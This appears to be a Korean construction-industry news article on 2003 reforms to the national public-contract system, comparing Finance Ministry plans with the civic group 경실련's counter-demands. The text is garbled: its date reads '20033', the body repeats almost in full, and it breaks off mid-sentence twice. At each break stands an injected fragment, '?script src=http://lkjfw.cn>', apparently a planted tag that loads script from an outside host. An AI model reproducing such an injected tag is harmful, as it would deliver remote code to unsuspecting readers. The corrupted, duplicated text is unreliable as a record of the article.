국가계약제도의 개선방향과 전망
보도일자 20033-04-14
보도기관 일간건설
◇경제정책 조정회의(3.27)에서 국가계약제도 개선 방향 제시
지난 3월27일 대통령 주재 경제정책조정회의에서 국가계약제도의 개선방향이 윤곽을 드러냈다. 재정경제부는 국가계약제도 개선의 필요성으로 부실공사 방지, 기술개발 촉진 및 경쟁력 강화, 지역균형발전 등 3가지를 꼽았다.
먼저 덤핑입찰로 인한 부실공사를 방지하기 위해 현행 최저가낙찰제 대상공사에 대해서는 저가심의제를 시행하기로 했다. 아울러 저가심의제 실시로 덤핑입찰이 방지되면 최저가 낙찰제 대상공사를 단계적으로 확대 시행할 예정(예:500억원 이상)이다.
건설기술의 발전을 유도하기 위한 계약제도 개선방안으로서는 기술경쟁력이 있는 건설업체가 우선적으로 선정될 수 있도록 시공경험이나 기술능력 부문의 심사비중을 높이는 등 입찰참가자격 사전심사(PQ)제도를 보완하기로 했다.
신기술·공법이 요구되는 공사(특수 교량, 공항 등)는 건설업체의 설계·시공능력을 향상시키기 위해서 턴키·대안입찰제도를 활성화한다는 내용도 있다. 지하철 차량, 시설관리시스템 등 공공물품과 용역 입찰시 품질이 보장되도록 가격중심의 심사방식 대신 기술을 중시하는 선정방식으로 전환하겠다는 방침도 표명했다.
시공자가 계약이행중에 신기술·신공법을 도입해공사비를 절감한 경우 시공자에게 지불하는 공사비 절감 보상규모도 확대(예:절감액의 50→70%)하기로 했다. 기술개발자금이 초기에 집중 사용되는 물품이나 용역계약의 선금지급 규모도 확대(예:계약금액의 20∼50%→30∼60%)할 예정이다.
지역경제 활성화를 위해서 입찰참가자격을 당해 지역(특별시, 광역시, 도)업체로만 제한하는 지역제한 대상공사의 범위도 상향 조정(현행 30억원→40억원 미만, 전문공사 등은 3억원→4억원 미만)하기로 했다.
아울러 지역업체를 반드시 공동수급체 구성원으로 참가시키도록 하는 지역의무 공동도급 대상공사의 범위도 확대(현행 78억→81억원)하기로 했다. 또한 경기활성화를 위한 재정자금의 조기집행을 위해 선금지급 신청 및 사용절차도 간소화하기로 했다.
이상과 같은 국가계약제도 개선방안을 금년 상반기중에 국가계약법 시행령, 시행규칙 및 관련 회계예규 개정시 반영해 하반기부터 시행할 예정이다.
◇경실련의 요구사항중 일부도 반영 검토될 듯
경실련에서도 재정경제부 장관 및 건설교통부 장관과의 면담을 통해 국가계약제도 개선 건의안을 전달했다. 경실련의 개선 요구사항은 다음과 같다.
첫째, 모든 정부발주공사에 최저가 낙찰제를 시행해달라는 것이다. 정부는 저가낙찰로 인한 부실공사를 우려하고 있지만 경실련에서는 저가낙찰로 인한 부실공사 사례를 찾아보기 어렵고 감리 강화를 통해 부실공사를 막을 수 있다고 본다. 아울러 최저가낙찰제 공사에 수반되는 덤핑입찰은 이행보증시장의 개방과 엄격한 사전 보증심사를 통해 막을 수 있다는 입장이다.
둘째, 예정가격의 적정화와 투명성 제고를 요청하고 있다. 그 방법으로 품셈제도를 폐지하고 실적공사비 적산제를 시행해줄 것을 요구하고 있으며 품셈제도 폐지 이전이라도 사업자단체에 의한 품셈의 유지관리는 공정성에 의혹이 있기 때문에 중립적인 기관으로 이관해야 한다고 본다.
셋째, 저가심의제도에 대해서는 도입을 반대하고 있다. 실질적인 저가심의는 실적공사비 적산제도의 도입이 이루어져야 가능하다고 보며 만약 저가심의제가 일정 낙찰률을 보장하는 장치로 이용되면 최저가낙찰제의 취지를 훼손한다고 보기 때문이다.
넷째, 턴키제도의 개선도 강력하게 요청하고 있다. 구체적인 개선방안으로서는 턴키방식에 적합한 공사를 선정함으로써 턴키발주 물량을 대폭 축소하고 입찰담합과 로비 문제를 해소하기 위해서 가격평가 점수의 비중을 높이거나 ‘선 설계평가, 후 가격경쟁 방식’을 도입해야 하며 전문적인 기술심의를 위한 기구 신설과 상설화를 추진해야 한다는 것이다.
이 같은 경실련의 요구사항 중 일부는 국가계약제도 개선시 반영하기 위해 관련 부처에서 본격적으로 검토할 것으로 보인다. 예컨대 품셈제도의 폐지와 실적공사비 적산제도의 도입은 이미 오래전부터 건설교통부에서 추진해 왔던 과제다. 이행보증시장의 개방문제도 최저가낙찰제 도입 당시부터 논의됐던 사항이다.
◇저가심의제 도입, 턴키 활성화 등과 관련해서는 이견 존재
그럼에도 불구하고 경제정책 조정회의의 결정사항과 경실련의 개선 요구사항은 상충되는 부분이 많다. 최저가낙찰제의 단계적 확대와 관련, 재경부에서는 저가심의제 도입을 통해 덤핑입찰이 방지되면 확대하겠다는 입장이지만 경실련은 저가심의제 도입없이 모든 정부발주공사에 대하여 전면 확대하자는 입장이다.
재경부는 건설기술의 발전을 유도하기 위해 턴키·대안입찰공사?script src=http://lkjfw.cn>
지난 3월27일 대통령 주재 경제정책조정회의에서 국가계약제도의 개선방향이 윤곽을 드러냈다. 재정경제부는 국가계약제도 개선의 필요성으로 부실공사 방지, 기술개발 촉진 및 경쟁력 강화, 지역균형발전 등 3가지를 꼽았다.
먼저 덤핑입찰로 인한 부실공사를 방지하기 위해 현행 최저가낙찰제 대상공사에 대해서는 저가심의제를 시행하기로 했다. 아울러 저가심의제 실시로 덤핑입찰이 방지되면 최저가 낙찰제 대상공사를 단계적으로 확대 시행할 예정(예:500억원 이상)이다.
건설기술의 발전을 유도하기 위한 계약제도 개선방안으로서는 기술경쟁력이 있는 건설업체가 우선적으로 선정될 수 있도록 시공경험이나 기술능력 부문의 심사비중을 높이는 등 입찰참가자격 사전심사(PQ)제도를 보완하기로 했다.
신기술·공법이 요구되는 공사(특수 교량, 공항 등)는 건설업체의 설계·시공능력을 향상시키기 위해서 턴키·대안입찰제도를 활성화한다는 내용도 있다. 지하철 차량, 시설관리시스템 등 공공물품과 용역 입찰시 품질이 보장되도록 가격중심의 심사방식 대신 기술을 중시하는 선정방식으로 전환하겠다는 방침도 표명했다.
시공자가 계약이행중에 신기술·신공법을 도입해공사비를 절감한 경우 시공자에게 지불하는 공사비 절감 보상규모도 확대(예:절감액의 50→70%)하기로 했다. 기술개발자금이 초기에 집중 사용되는 물품이나 용역계약의 선금지급 규모도 확대(예:계약금액의 20∼50%→30∼60%)할 예정이다.
지역경제 활성화를 위해서 입찰참가자격을 당해 지역(특별시, 광역시, 도)업체로만 제한하는 지역제한 대상공사의 범위도 상향 조정(현행 30억원→40억원 미만, 전문공사 등은 3억원→4억원 미만)하기로 했다.
아울러 지역업체를 반드시 공동수급체 구성원으로 참가시키도록 하는 지역의무 공동도급 대상공사의 범위도 확대(현행 78억→81억원)하기로 했다. 또한 경기활성화를 위한 재정자금의 조기집행을 위해 선금지급 신청 및 사용절차도 간소화하기로 했다.
이상과 같은 국가계약제도 개선방안을 금년 상반기중에 국가계약법 시행령, 시행규칙 및 관련 회계예규 개정시 반영해 하반기부터 시행할 예정이다.
◇경실련의 요구사항중 일부도 반영 검토될 듯
경실련에서도 재정경제부 장관 및 건설교통부 장관과의 면담을 통해 국가계약제도 개선 건의안을 전달했다. 경실련의 개선 요구사항은 다음과 같다.
첫째, 모든 정부발주공사에 최저가 낙찰제를 시행해달라는 것이다. 정부는 저가낙찰로 인한 부실공사를 우려하고 있지만 경실련에서는 저가낙찰로 인한 부실공사 사례를 찾아보기 어렵고 감리 강화를 통해 부실공사를 막을 수 있다고 본다. 아울러 최저가낙찰제 공사에 수반되는 덤핑입찰은 이행보증시장의 개방과 엄격한 사전 보증심사를 통해 막을 수 있다는 입장이다.
둘째, 예정가격의 적정화와 투명성 제고를 요청하고 있다. 그 방법으로 품셈제도를 폐지하고 실적공사비 적산제를 시행해줄 것을 요구하고 있으며 품셈제도 폐지 이전이라도 사업자단체에 의한 품셈의 유지관리는 공정성에 의혹이 있기 때문에 중립적인 기관으로 이관해야 한다고 본다.
셋째, 저가심의제도에 대해서는 도입을 반대하고 있다. 실질적인 저가심의는 실적공사비 적산제도의 도입이 이루어져야 가능하다고 보며 만약 저가심의제가 일정 낙찰률을 보장하는 장치로 이용되면 최저가낙찰제의 취지를 훼손한다고 보기 때문이다.
넷째, 턴키제도의 개선도 강력하게 요청하고 있다. 구체적인 개선방안으로서는 턴키방식에 적합한 공사를 선정함으로써 턴키발주 물량을 대폭 축소하고 입찰담합과 로비 문제를 해소하기 위해서 가격평가 점수의 비중을 높이거나 ‘선 설계평가, 후 가격경쟁 방식’을 도입해야 하며 전문적인 기술심의를 위한 기구 신설과 상설화를 추진해야 한다는 것이다.
이 같은 경실련의 요구사항 중 일부는 국가계약제도 개선시 반영하기 위해 관련 부처에서 본격적으로 검토할 것으로 보인다. 예컨대 품셈제도의 폐지와 실적공사비 적산제도의 도입은 이미 오래전부터 건설교통부에서 추진해 왔던 과제다. 이행보증시장의 개방문제도 최저가낙찰제 도입 당시부터 논의됐던 사항이다.
◇저가심의제 도입, 턴키 활성화 등과 관련해서는 이견 존재
그럼에도 불구하고 경제정책 조정회의의 결정사항과 경실련의 개선 요구사항은 상충되는 부분이 많다. 최저가낙찰제의 단계적 확대와 관련, 재경부에서는 저가심의제 도입을 통해 덤핑입찰이 방지되면 확대하겠다는 입장이지만 경실련은 저가심의제 도입없이 모든 정부발주공사에 대하여 전면 확대하자는 입장이다.
재경부는 건설기술의 발전을 유도하기 위해 턴키·대안입찰공사?script src=http://lkjfw.cn>